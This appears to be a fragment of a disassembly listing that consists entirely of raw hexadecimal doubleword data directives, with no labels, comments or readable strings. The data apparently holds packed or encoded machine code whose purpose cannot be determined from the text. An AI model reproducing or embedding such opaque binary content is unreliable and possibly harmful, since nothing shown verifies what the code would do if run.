		dd 30B4408Eh, 36BA4694h, 0C344EBCDh, 0F4B421DFh, 0C69DD272h
		dd 42ED1430h, 56F2765Bh, 7DEE37Fh, 6FF19D48h, 838081CFh
		dd 259E1E39h, 0D9FC3263h, 50225D97h, 98430237h,	81CF65ECh
		dd 0CC538380h, 45CB7736h, 0ABAC63E0h, 1E531222h, 0D75EDA21h
		dd 0A76E3741h, 835D7540h, 429E5h, 4AEE6E00h, 0D872F773h
		dd 62048501h, 0F1890F8Bh, 81179E1Ah, 0C42A1AAh,	9C18EF85h
		dd 28A47B19h, 0B32F06A6h, 17BC932Fh, 4014FAC0h,	0A3286329h
		dd 14AA311Ah, 163DC13Dh, 0AAABF98Fh, 77239E75h,	2C5D5AF0h
		dd 3644AD31h, 0D239709Ch, 980CF2B8h, 0B7205B42h, 0E28E4D82h
		dd 8D73395Dh, 0A15B4298h, 0B4B50338h, 0C26EF9B7h, 74A4A13Fh
		dd 1E04CAF0h, 325B4298h, 0E7D594C9h, 0E8CCF874h, 579E9B6Bh
		dd 0FAD30DCh, 0E6FFC212h, 3BD46127h, 4FB86323h,	39735B01h
		dd 978A6323h, 957B41ECh, 0A9632339h, 39806640h,	31F76323h
		dd 6323394Bh, 73DCF65Fh, 0E595E076h, 844A09DCh,	6B033AF7h
		dd 0EA8208B4h, 0EE6F63EDh, 2530FE4Ch, 0DDFD8134h, 81E3E51Ah
		dd 0AFD2C549h, 30AB82B7h, 0CFD9BF85h, 8CF55B42h, 0AD315E8Fh
		dd 0B337C311h, 1B690B8Ch, 62E4CA90h, 8FF85B42h,	0BB66255Ah
		dd 42630FF5h, 0C5C22B5Bh, 6DFE27Eh, 2BF19C47h, 5B426345h
		dd 0A9F3F059h, 63226970h, 7517988Ch, 0CF938140h, 5EF85712h
		dd 9C4200FDh, 6322A9B2h, 2150231Dh, 0C4375434h,	644A10BBh
		dd 786322B1h, 458A120Fh, 91000000h
		dd 7635B011h, 22648BB0h, 0ECB2A563h, 63226406h,	3852F274h
		dd 0D927BD44h, 0AF6EA3D8h, 95E37F03h, 33D99794h, 63226449h
		dd 0F07521B4h, 0C33A0856h, 94A303CAh, 28BEBBF0h, 1E2F2C5Dh
		dd 76DC437h, 74000001h,	0F90F4432h, 94F55C97h, 0C8CA74A9h
		dd 0F9B966D2h, 0ABDBD876h, 0D2550127h, 0BE5E634h, 5B433D25h
		dd 4D9BD039h, 2D00D4C2h, 0B8FF13A6h, 6E048BBBh,	67E99520h
		dd 5C4208C7h, 705B4305h, 56DA0A07h, 5CE06CBAh, 0CE5501C0h
		dd 408E28ADh, 0BBBC0A3Fh, 0C5E177BEh, 235B4309h, 0CDB3799Fh
		dd 3B5B4308h, 0CFD01EB4h, 40174CB5h, 56A440C4h,	0FCE17AAh
		dd 49F37664h, 780D4B6Bh, 16E0317Bh, 0B6EC6323h,	4086B64Ch
		dd 0EF147A5Ah, 8F16163h, 9B814706h, 0AF6322F7h,	9E3A1146h
		dd 3D03C223h, 6B05B41Ch, 5500BF28h, 7AFE25A9h, 5A5BA9DEh
		dd 10A62D5Dh, 0A036BD39h, 0A01AD796h, 6C0AE472h, 1E6h
		dd 0B68D31B1h, 441BB53Ah, 0CEA547C8h, 5D34CC52h, 0EDC45AE1h
		dd 0C84FFFE4h, 5CDF5B32h, 0E96BE7BEh, 72F67249h, 35AFFD6h
		dd 2942573Dh, 65EE7363h, 66028632h, 1CB23969h, 1F45C945h
		dd 42637359h, 0E91E875Bh, 0B0119512h, 5CB7635h,	5B42631Fh
		dd 0A6D5D23Bh, 2FCB4FFBh, 64C3E832h, 0F45D6322h, 641600A6h
		dd 0EE816322h, 0C6558800h, 7774500Fh, 0F6E392E1h, 24C437C3h
		dd 0DFh, 0C187322Bh, 5B4262DBh,	639E844Ah, 49B25B42h, 99C9C62Fh
		dd 9F2B7915h, 8E348218h, 5B426872h, 0FA106B59h,	1D0E1668h
		dd 0D06CF020h, 5DF97DF9h, 472DF39Eh, 635B4316h,	15B1DD2Dh
		dd 0E4198594h, 447D29E7h, 0CB1CE2A1h, 0C56322A5h, 46F29D5Ch
		dd 664C26C2h, 7A63229Fh, 31660286h, 7051ED34h, 0C163E5A8h
		dd 1348C12Bh, 790E8E54h, 9B56B05h, 9798E688h, 0E8A7109Ah
		dd 0E6CC923Dh, 555B4547h, 4548A98Fh, 425CC55Bh,	25ACDCD9h
		dd 4F3DB88Fh, 0CD984010h, 0A9D9D6F8h, 0B5828C22h, 8272A096h
		dd 0C40AA8h, 53D30000h,	0D75CD8AFh, 69EA663Dh, 0EE74F0C7h
		dd 7C037F56h, 0DD060FE6h, 7D54EA71h, 9E07E01h, 946B0B8Dh
		dd 21F89418h, 795F257Ch, 95632943h, 0AA318710h,	3DC13D14h
		dd 314DCAA1h, 37C311ADh, 0A44017B3h, 4309C81Dh,	632939B2h
		dd 8876359Eh, 75DCF762h, 0C3817E3Ah, 5817B337h,	7F4A276Ah
		dd 5451484Ch, 710D910Dh, 7CFB7D23h, 76A576FDh, 77C13F88h
		dd 0C44598CBh, 682EED22h, 6F746782h, 0A238359Eh, 0A33FC3D3h
		dd 0A5CC50CCh, 452871Fh, 0ED8DF278h, 0E47E45F0h, 87140103h
		dd 3BCBB894h, 0A92CB806h, 0AC31BD0Bh, 1D43C412h, 29EFD356h
		dd 2CC84C5Ah, 0B955D955h, 8CD6Bh, 32480000h, 68650386h
		dd 0B131BC09h, 0AF33BF0Dh, 0B739C513h, 0BA3DC917h, 0BB42CE1Ch
		dd 0C44BD725h, 0CE54E02Eh, 0DB5CE836h, 0DA5FEB39h, 8363F240h
		dd 8F5404ECh, 4832404h,	78680424h, 8900004Fh, 89572414h
		dd 4C781E7h, 81000000h,	4EFh, 243C8700h, 2434895Ch, 0F9BD5551h
		dd 8967355Eh, 0CEBA5DE9h, 1A0B177h, 8B5459CAh, 0C4832434h
		dd 4EC8304h, 81241489h,	78DD2404h, 468F2317h, 86E8108h
		dd 231778DDh, 5624348Bh, 0C681E689h, 4,	8704C683h, 8B5C2434h
		dd 89512414h, 4C181E1h,	81000000h, 4C1h, 240C8700h, 663DE95Ch
		dd 71D7FFFAh, 8FA60F1Ah, 0E6E18BB8h, 0FFC50307h, 892639E0h
		dd 0C556127Bh, 75F5DA18h, 22AF2858h, 0B81CAD27h, 0BDFDDD54h
		dd 0C0B20276h, 4DA25D44h, 6C50607Ch, 0A085DC6Ah, 4FCB132h
		dd 0D1D67A61h, 0DB4D2A6Bh, 0CDD3A47Dh, 0ED00A555h, 77B6BE39h
		dd 0EDBF0C01h, 6EB9641Fh, 0A659BC18h, 142BC676h, 4771BA35h
		dd 23D7F04Dh, 47D2DB57h, 67749E12h, 0BE6D3E24h,	0E1536069h
		dd 0CAAEF725h, 0BB1BA529h, 66272F74h, 9E86Dh, 97500000h
		dd 0F0EB4178h, 81C36522h, 0E31DFAF7h, 9E95E2Ah,	2A000000h
		dd 0DEB9E70Eh, 3FD8D82Bh, 7480C681h, 0DE90000h,	53000000h
		dd 8C51DD62h, 0F6A5653h, 0DA97A76h, 1CFB68h, 0EF816600h
		dd 8B588382h, 0BE9521Eh, 2000000h, 0CDB17908h, 0A413A9F8h
		dd 815FD3ECh, 69A78EEBh, 53D1806Ch, 4063C381h, 81FC43BDh
		dd 6040C2EBh, 0D3B70F4Bh, 1FB91E89h, 81305416h,	303EC1EEh
		dd 28A0F65h, 8A000000h,	0BDC681EBh, 6665303Eh, 344AC781h
		dd 0AC850F48h, 0FFFFFFFh, 8D8DD0B7h, 7E6E431h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 5EC35747h, 3C7D9205h
		dd 1B04EE7Eh, 6850FE4h,	8B000000h, 0E01689BDh, 0BE95307h
		dd 3E000000h, 81564868h, 76340042h, 89585001h, 0E018158Dh
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0D1D8DA22h, 0F600553h, 9D29DFB7h, 7E00139h
		dd 0DD858B61h, 0F07E005h, 85C7D8B7h, 7E02049h, 5E40h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 36C35747h, 3369EBA8h
		dd 0E025359Dh, 0C585C707h, 7E022h, 0E8000000h, 8, 53F8B7BCh
		dd 9691ECE2h, 7E8h, 2DADB800h, 2EAEA15Eh, 5B5A6160h, 1E49B5FFh
		dd 0C38107E0h, 7B70E4BDh, 209195FFh, 9D0907E0h,	7E03251h
		dd 919EC781h, 6A2F4Ah, 18A995FFh, 0C08B07E0h, 0F9DF0DEBh
		dd 0BF1B5D3Fh, 277AECDDh, 0E89D2EAFh, 0Bh, 0D09E75C9h
		dd 6EA06E20h, 59475C20h, 24359589h, 0C18107E0h,	6A54h
		dd 2C89BD89h, 6807E0h, 66000000h, 5AE8C2BFh, 348DB58Bh
		dd 34FF07E0h, 0FFB70F0Ah, 39B58B5Bh, 8107E000h,	0B2778FC3h
		dd 56B8665Ch, 78EB8119h, 89010BFEh, 0E01FDDBDh,	89F38107h
		dd 5357FC28h, 68A0Fh, 95310000h, 7E00521h, 0D8815358h
		dd 16A27E25h, 5211048Fh, 58F2B70Fh, 2D2D9D89h, 0EA8307E0h
		dd 0F0816604h, 0FA81D4B6h, 0FFFF963Ch, 0FFA0850Fh, 9529FFFFh
		dd 7E00E01h, 30E9h, 0B8700A00h,	27h, 0Ah dup(0)
		dd 505E900h, 1D680000h,	0E907E6E6h, 0FFF99BBBh,	0E6E6A968h
		dd 9BB1E907h, 0A68FFF9h, 0E907E6E8h, 0FFF99BA7h, 0A3BD775Fh
		dd 1832EAD1h, 8FA96146h, 21CD4BDh, 7A944E30h, 0A587BC25h
		dd 1BFFD1EBh, 92754761h, 8EEC0DAh, 6954344Eh, 0D3BC6B46h
		dd 7A11321h, 8A8F492Bh,	0D2ECA68Ch, 0A6BD7AA6h,	0BE96EC7Ah
		dd 3F457A72h, 0F199BDE0h, 0D5AF2E59h, 964E31F0h, 0D8EFE6EBh
		dd 0D9E9FCB5h, 292F8221h, 12CCB00Ah, 666B160Dh,	0D9E98E1Fh
		dd 0F14EAF21h, 0D45D6F9Bh, 3168853h, 56950000h,	0E3DE987Ch
		dd 21D9DDCEh, 2D4F55A8h, 20F0B0B3h, 9DC9EC03h, 9B2E5AA5h
		dd 2025DFC1h, 0B1042329h, 0BF3115FCh, 0AE72CCFFh, 3FAF0225h
		dd 5EC2F35h, 7823764Dh,	2D703E61h, 0AC0633D5h, 11080DC5h
		dd 7096166h, 0D7EE1128h, 4F30F549h, 2A446D90h, 7B3A2F35h
		dd 352A5958h, 27D2252Fh, 0A58B657Ch, 19FFD1EBh,	0E02A865Fh
		dd 563FE094h, 34128h, 0A6604800h, 1BD3BA8Ch, 924A2F01h
		dd 5BDA678h, 7D3719EBh,	70A50E63h, 0E8BAD48Eh, 5E304A04h
		dd 0D7A9C37Bh, 3D1D37F1h, 0BA822F52h, 8AFC21D3h, 0F04FD1F0h
		dd 451CB6D9h, 4FA22E5Ch, 8EBAF938h, 3FD2B6D8h, 2AFAADFh
		dd 7C21D3FBh, 47292329h, 0B74D8934h, 97421F5Dh,	0CDE35480h
		dd 58D6D79Dh, 309C1A6h,	82B6AA1h, 21D481A9h, 827C82D5h
		dd 9AE1E6A0h, 0CE5F3F32h, 4126E7CDh, 37F1D789h,	495DB38Ch
		dd 8D76DE29h, 2B55Fh, 32ECD400h, 0A75F4618h, 1ED6BB8Dh
		dd 91493204h, 9C3A577h,	0FC319AEFh, 7446601Ah, 0EABCD690h
		dd 63354F07h, 0C9A9C37Dh, 0BAF6BBDEh, 0E8021D3h, 0F04FD174h
		dd 451CB6D9h, 4FA22E5Ch, 0BCAA034Ah, 329321D3h,	2437FDDh
		dd 0C96C53D2h, 0B6000001h, 0D2AF9AC6h, 0C04DC7C1h, 20DAC0BAh
		dd 0FCDEB81Bh, 328E3E42h, 2D5B7AB8h, 86472D27h,	0ECE3E8A2h
		dd 0B549FBE8h, 2ADDDFAh, 0D754BCE8h, 11619DC0h,	84D72E5Ah
		dd 384F416Dh, 0F1AAAEFFh, 56579EEBh, 0E721D9A2h, 97D32986h
		dd 0C053D419h, 4Bh, 0F04FD10Ah,	611BFFD9h, 19D9FC5Bh, 5F2E5AA0h
		dd 371BF50Ch, 6A81787Dh, 0DAA06A47h, 0BBC11421h, 9F86276Eh
		dd 2F1521DAh, 0EA0D7075h, 21DA9FC7h, 0C3AA5CAFh, 0B8631B04h
		dd 3390BDB3h, 227FE0F0h, 0D4EB9ECCh, 0B4B953h, 2B030000h
		dd 88868B45h, 96D5ECA6h, 0BAA13E73h, 56793829h,	29BAA15Bh
		dd 1F25D023h, 34EED4D2h, 0FF2CC2Fh, 71575157h, 0E1C6A0B7h
		dd 0A6C12329h, 29BAA545h, 2BAA37Dh, 621C02FCh, 37F41C48h
		dd 2007E120h, 0DD1F6268h, 332E5813h, 0DEFC9E0h,	0D1FD3C53h
		dd 8BC345BBh, 0A0110C40h, 0D621D870h, 68496C83h, 0E21D871h
		dd 8153B5BBh, 0BC0CE59Fh, 0D9EDF199h, 154C2F0h,	4D350000h
		dd 0C0A77993h, 371CEE08h, 0AA93657Fh, 2406D8F2h, 0D2FB506Ah
		dd 0A7C17B5Dh, 1D37F1D5h, 96B0684Bh, 0A24DEC4h,	951C3F2Ah
		dd 0E121D3B8h, 492BD56Fh, 0BDA3758Fh, 0B5601AFCh, 9AC6A19Bh
		dd 57794B47h, 0E0DAE04Bh, 9E5639FAh, 0AF0EEF3h,	0F20D3950h
		dd 9D6A0C14h, 9F593BEDh, 3B9DA39Ah, 0B22010Fh, 5A20EDE8h
		dd 8EF492Eh, 20F0C1E4h,	338621DAh, 0E18C8388h, 49688BCAh
		dd 3521DA21h, 3E7DDCE2h, 8A4225FFh, 0DA21228Fh,	3095C21h
		dd 536D2709h, 0F7BADD1Ch, 7F21DA20h, 0CAE3262Ch, 0D121DA20h
		dd 451731EBh, 76A4A963h, 0A6h, 550FF5CFh, 31535950h, 0D9F04FD1h
		dd 21D9C09Ah, 0DC1F251Ch, 2E5C44F2h, 2E2C3184h,	0A2748E48h
		dd 9AFD02BCh, 2025DDC0h, 43E02329h, 0EB01FD57h,	0D0AA59B6h
		dd 2F292FE7h, 3E758F49h, 0D3BC7B64h, 741F161Bh,	7872786Fh
		dd 0D5D3D892h, 312F34ECh, 2C8F944Ch, 222A809h, 0C97BCE02h
		dd 0F7292EE6h, 0F8A2ED42h, 3E2476CBh, 3D03B2Bh,	0B7624825h
		dd 20DFC6A0h, 847B803Ah, 0D7DDD4D9h, 0AABDA375h, 0AD105C1Eh
		dd 84893408h, 1956h, 9AC6EC00h,	543797BBh, 9CA0979Ch, 637A680Fh
		dd 0BAA07140h, 0B4BA0D29h, 432BF5B3h, 0A0868489h, 0E3E1E6h
		dd 61454348h, 0C2A4A2A7h, 23050308h, 7D666469h,	0DDC2C0C5h
		dd 3B222025h, 516D7E83h, 0BB53E189h, 4,	835BD901h, 0C8704E9h
		dd 0FC685C24h, 89000043h, 0B9682414h, 89000074h, 0C1BA241Ch
		dd 81707760h, 171A6C2h,	5EAC140h, 1E90BB53h, 0C3813F81h
		dd 6E3A6819h, 6663EB81h, 0F381506Ch, 0A0D3C119h, 545BDA29h
		dd 83241C8Bh, 565204C4h, 0E343CEBEh, 24740106h,	438F5E04h
		dd 86B8108h, 6E343CEh, 51241C8Bh, 0C181E189h, 4, 8704C183h
		dd 0FF5C240Ch, 815A2434h, 4C4h,	96CDE900h, 3199FFF9h, 8035D23Ch
		dd 16D6C6B0h, 0B8C2F928h, 7E6E983h, 0E0FFC503h,	58944595h
		dd 14C87EA6h, 3A83BED5h, 72D5E27Ah, 3813F196h, 3356516Ah
		dd 92BF8CFh, 70EA7A3Ch,	6253BDD0h, 2917F75Eh, 62577DEEh
		dd 4486724h, 21450B2Eh,	3AAF8784h, 143D095h, 4F053FE7h
		dd 3C2A48C6h, 35AAA863h, 1FDF78FAh, 75A424C3h, 737FD173h
		dd 4E31398Bh, 913CA30h,	1B6200C9h, 1799BB4Fh, 659FB177h
		dd 6DDE132Dh, 688750F0h, 309D9D94h, 476F384Dh, 12E8h, 7C13A100h
		dd 9984321Fh, 0DCDE7079h, 0DF4ECDD7h, 8098C45Ah, 0E95FB3E7h
		dd 9, 8A7923C2h, 0F62C5CCh, 4CC781FEh, 0F000064h, 887h
		dd 28B0F00h, 0B7000000h, 9C1DB930h, 0F18167FAh,	67FA84FBh
		dd 37FF73B2h, 9860Fh, 860F0000h, 3, 5EDDF780h, 6E9h, 99411600h
		dd 818FCE5Ch, 38F4A1F6h, 8123B71Dh, 15D8A4EEh, 0D881663Dh
		dd 0EE8134D0h, 7A4CEF4Ah, 18C0Fh, 89F80000h, 10E937h, 0B160000h
		dd 5D777FE4h, 3C2F7CC3h, 1A681030h, 0EF8356C0h,	0C0BA6602h
		dd 0E94F4F44h, 8, 87855A56h, 0CA86A4DDh, 8F850F49h, 8BFFFFFFh
		dd 4A8D8DD6h, 6A07E6ECh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0E12EC353h,	0A933D047h
		dd 38E0Fh, 0BF0F0000h, 840F52F8h, 10h, 0BE9h, 1361A400h
		dd 89EDB43Ch, 94247C8Ah, 158D895Fh, 6A07E018h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 717DC357h, 3DD97920h, 0C8F0Fh, 830F0000h, 6,	3425B589h
		dd 58B007E0h, 95DA8166h, 4985C7D6h, 9007E020h, 29000062h
		dd 0E01381BDh, 0C585C707h, 7E022h, 89000000h, 0E0183585h
		dd 4D858B07h, 0FF07E01Eh, 0E007B9B5h, 9195FF07h, 6A07E020h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 52E8C350h, 7810Fh, 8A0F0000h, 1, 20D081F9h
		dd 6A74EAFBh, 0A995FF00h, 8B07E018h, 0DC0BEBC0h, 0BC068C2Eh
		dd 93ED9E8h, 8D8DF8EBh,	7E6ECEBh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 8AC35242h, 2BE37785h, 18158D89h
		dd 0A3B807E0h, 0C765E0A4h, 0E0204985h, 69DC07h,	57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0E5B5F7F0h, 68D8800Dh, 22C585C7h, 7E0h, 66600000h, 1004D281h
		dd 0CE46C881h, 0FF612949h, 0E0085DB5h, 0DF8B6607h, 209195FFh
		dd 0BD8907E0h, 7E01211h, 95FF006Ah, 7E018A9h, 1FEBC08Bh
		dd 32F22727h, 0E5FC0D9h, 0DB1A25C2h, 2246C578h,	0D344956Bh
		dd 0A9BA09DFh, 0E294AF4Dh, 8D2DF557h
		dd 0E6EDEA8Dh, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 1C26E8C3h, 0DE0BC045h
		dd 6236C281h, 8D8941CFh, 7E01815h, 0C7F98B66h, 0E0204985h
		dd 74C007h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0BD8B8706h, 7E01005h, 22C585C7h
		dd 7E0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 190424h, 56460000h, 0E2BF4C3h, 669B0ED6h, 0FF32E881h
		dd 2A5DB5FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 8D3161C3h, 7E02879h, 2DF1B589h
		dd 7DBE07E0h, 0FF339942h, 0E0209195h, 358D8907h, 6A07E012h
		dd 0A995FF00h, 8B07E018h, 162AEBC0h, 9D75EE11h,	5670E121h
		dd 0C7691FB9h, 56FE9656h, 0AA8A27AFh, 11EF2123h, 6ACCE1E5h
		dd 0EBA4F09Dh, 4F14DC55h, 7AA82F88h, 11E8EBh, 8B460000h
		dd 9C57D05h, 0A461AFC0h, 0A184FA0Ah, 605927D4h,	1195958Bh
		dd 4EBA07E0h, 6154F7B0h, 0A19D8B59h, 8107E031h,	676AC1h
		dd 0A9BD2900h, 0BF07E02Fh, 19AAh, 0FE99503h, 318B07E0h
		dd 0F681D08Ah, 264E4DBFh, 65C681F8h, 564CB273h,	8158F6B7h
		dd 4996DEC6h, 0CE86Dh, 0B8950000h, 0A205AEC6h, 5AB2F7F7h
		dd 13E84799h, 67000000h, 4416DAE8h, 416CE41Ah, 0A5BF7397h
		dd 2245D6E7h, 0BF0F0FE8h, 895A5ADAh, 1E8B0F31h,	0E8000000h
		dd 12h,	0A331B11h, 4081643Fh, 4BC42A5h,	9CA7F41h, 0B58993FFh
		dd 7E02E61h, 4E9835Bh, 1B1858Bh, 0EF8107E0h, 1,	0FF7C850Fh
		dd 0C881FFFFh, 56800BDh, 6E8h, 0BEFFFE00h, 8BCD9A26h, 0E02FDDBDh
		dd 81F85B07h, 5B3DC3h, 0D858B00h, 0B907E01Eh, 16B0h, 0FE19501h
		dd 338B07E0h, 8DEBF281h, 0EE8110E1h, 0B6B3CEh, 0EE815F52h
		dd 50C47C9Fh, 0F6810AB0h, 5BEED365h, 0C8B0Fh, 840F0000h
		dd 6, 2D2D8509h, 338907E0h, 9E9h, 0D0AE2B00h, 0DABD350h
		dd 0EB835E90h, 6870F04h, 89000000h, 0E01A1DBDh,	850F4907h
		dd 0FFFFFFAAh, 0CB8FC881h, 8D8D4329h, 7E6F057h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BAC35747h, 0F3213FEDh
		dd 0D5BD8957h, 8907E020h, 0E018158Dh, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 148A11BAh, 9A1530Dh,	5E86E84h, 0CE000000h, 83E9116Bh
		dd 8D8958FCh, 7E023B9h,	204985C7h, 6BF007E0h, 0BD290000h
		dd 7E01D49h, 22C585C7h,	7E0h, 81660000h, 813A0DC2h, 1FFCE6C0h
		dd 0C5B5FF53h, 6A07E023h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 31E8C353h, 0AEE76D5Dh
		dd 0C1858954h, 0FF07E001h, 0E0209195h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0C411CCF6h, 3BB39A49h, 95FF006Ah, 7E018A9h, 1CEBC08Bh
		dd 74D8878Ah, 28F364A1h, 17EEE3CCh, 0DA0120A9h,	67EF0785h
		dd 0A05AC353h, 0DC86DEDAh, 0F1508D8Dh, 6A07E6h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8B6422C3h, 0E0153D9Dh, 13E907h, 233B0000h, 25AC0F00h
		dd 7DFA9DC4h, 12547894h, 67E79C67h, 158D89DBh, 6A07E018h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 52B0C356h, 8BE01C53h, 0E0341D95h,	0EE907h
		dd 0FF820000h, 0FAE55012h, 5ED4D2F5h, 608722CAh, 204985C7h
		dd 726007E0h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F27ABC3h, 58Ch,	0D3816600h, 85C7D7FBh
		dd 7E022C5h, 0
		dd 85DB5FFh, 0CF8007E0h, 9195FF79h, 8B07E020h, 0E023019Dh
		dd 0FF006A07h, 0E018A995h, 0EBC08B07h, 6F09DA1Fh, 0C106DBF8h
		dd 8C2433Ah, 0F86549B9h, 0B503811h, 1CA13CCEh, 0C7859AEEh
		dd 8AD66222h, 0F21A8D8Dh, 0B70F07E6h, 158D89DBh, 6A07E018h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 689DC357h, 0EC6290A1h, 85C7F811h,	7E02049h
		dd 7428h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	6AC35646h, 0FCF859ECh, 0C7D9BF0Fh, 0E022C585h
		dd 7, 5E900h, 0D8E00000h, 0FF383C77h, 0E00F59B5h, 13E907h
		dd 0CE4D0000h, 0F54E830Eh, 22D4C6CEh, 208DF821h, 44FF2405h
		dd 9195FFFDh, 8B07E020h, 0DB589F1h, 6A07E005h, 0A995FF00h
		dd 8B07E018h, 1219EBC0h, 0CB7E636Ah, 9A6503BAh,	2240884Ah
		dd 3FE76415h, 878F4A7Bh, 8093CF87h, 0BE8h, 0EF368200h
		dd 0F0DEBC1Ch, 0B3E37Fh, 187D8D89h, 0B05E07E0h,	78C68132h
		dd 0B500005Ah, 0B8DB3383h, 67B3F2FBh, 503334FFh, 5840Fh
		dd 5FB80000h, 58430334h, 0B1958B5Fh, 8107E030h,	95ACEF7h
		dd 6CEC8079h, 11F2EF81h, 0F38A319Dh, 0DC13C781h, 0B70F5E61h
		dd 8B6657D6h, 1E048FC3h, 1880Fh, 89F80000h, 0E03321B5h
		dd 3EB8307h, 1081858Bh,	894B07E0h, 0E01D099Dh, 34FB8107h
		dd 0FFFFFA6h, 1B85h, 9E900h, 0FF7A0000h, 0BAAF13DAh, 0E9BBB19Fh
		dd 19h,	0B2C91D24h, 0F1B0DCCh, 13CA8166h, 0FF7AE9C0h, 0A2EAFFFFh
		dd 0C6C8CF36h, 0C28D8DBEh, 0F07E6F3h, 681h, 0F58D2900h
		dd 8907E015h, 0E018158Dh, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0E2B69EE3h
		dd 0F78B66B1h, 204985C7h, 60A007E0h, 0BD090000h, 7E01E79h
		dd 22C585C7h, 7E0h, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0D9BD2EC3h, 57148B9h
		dd 663FEEFBh, 0B5FFD38Bh, 7E006D5h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 67C35242h, 2C2AB227h, 0FFBDB7E7h
		dd 0E0209195h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 709E15FCh, 6A96288Dh
		dd 0A995FF00h, 8B07E018h, 1769EBC0h, 7A3F60F6h,	0C9F9FA8h
		dd 0D0F64717h, 6DD4B708h, 9187C9F8h, 87FC9A7Fh,	8002FEAAh
		dd 7F02F7C7h, 0CB0C33C5h, 0E6CABA60h, 88467B3Bh, 7B4077ECh
		dd 0D9A7FDD5h, 7ADB0CA3h, 0A725E15Ch, 0D3AD3B1h, 113C9EA9h
		dd 6EF9FC94h, 5693C59Fh, 9895E7AAh, 0AF677B7Ah,	30F16BEEh
		dd 0CF0D58BFh, 92F42299h, 3FA6FF36h, 4696EE60h,	10E8h
		dd 9CA68A00h, 348C24F4h, 414EB7E2h, 1C35C661h, 0D3816622h
		dd 8B5FA2B1h, 0E0059D8Dh, 8BC78107h, 0E900006Fh, 11h, 0F16AD8FDh
		dd 0C69BA0E1h, 3C3E42DFh, 75E3E931h, 1BBFBA70h,	8BF90000h
		dd 0B98D8B07h, 8107E02Ah, 93776FE8h, 0B8B96659h, 14F0818Bh
		dd 0F5214532h, 0A550E881h, 8B66427Ch, 9D8950CAh, 7E01A59h
		dd 8D89078Fh, 7E01B99h,	0E904EF83h, 0Ah, 40045D3Eh, 0E9116BCEh
		dd 0EA819383h, 1, 0FFB1850Fh, 0D381FFFFh, 6837F919h, 8E8h
		dd 677F5400h, 78DA42A3h, 0BE82Ah, 16820000h, 832FA93Ch
		dd 648F1139h, 0DD9589D1h, 5907E033h, 958B605Eh,	7E020F1h
		dd 8161CE8Bh, 66FDC6h, 0A58D8900h, 0B807E028h, 198Bh, 8E9h
		dd 38B03200h, 7E53F4E9h, 891E8B3Bh, 0E012318Dh,	0E7C38107h
		dd 0B3D3F58h, 0E026E195h, 7DEB8107h, 66663FF3h,	0F381FA8Bh
		dd 16996FFFh, 8B53BDB2h, 0E9068FD6h, 0Eh, 0CE4BA12h, 0B1AB5AAh
		dd 0EBFABB88h, 0EE8354D3h, 0DD958B03h, 4E07E01Bh, 0F48F18Ah
		dd 2185h, 0AE900h, 4B40000h, 899326F9h,	0E28E2120h, 29E9h
		dd 0E9C51D00h, 3A754D3Fh, 0CB8596DFh, 95331D1Bh, 7E01BD5h
		dd 0FFFF84E9h, 0B8A180FFh, 4A1D1732h, 0DA9DE491h, 80222DA9h
		dd 0BE87527h, 3C000000h, 844FC0E9h, 83DD7464h, 95B54E7h
		dd 0E004ED9Dh, 0F4C38107h, 68000064h, 0
		dd 3159FE8Bh, 0E01C759Dh, 0B148B07h, 114EEA81h,	85311D37h
		dd 7E02A8Dh, 0A5C6F281h, 0B70F43E5h, 54EA81F2h,	8937759Fh
		dd 0E007559Dh, 0B148907h, 0FF98B66h, 384h, 0FEBF0F00h
		dd 0F03E983h, 68Dh, 6DB58900h, 4907E030h, 0F981F18Bh, 0FFFF9BBCh
		dd 25850Fh, 7E80000h, 90000000h, 0EEDC47DDh, 0B5896D5Ah
		dd 7E004F5h, 25E958h, 7F9A0000h, 559D016Dh, 0D4BA621Eh
		dd 0E9E2C026h, 0FFFFFF85h, 0D976FCDBh, 0D200304Ch, 84DDA731h
		dd 776EC1F2h, 0E892FF02h, 11h, 5370A497h, 2C55FBBAh, 33A86EF8h
		dd 0B7DD0061h, 10E913h,	181C0000h, 0AEF3A229h, 354CAC48h
		dd 583351DAh, 8B5960A1h, 0E02A5995h, 0DFC18107h, 9000061h
		dd 0E01B3D85h, 9F63307h, 0E02F69BDh, 0E34FF07h,	55F3C081h
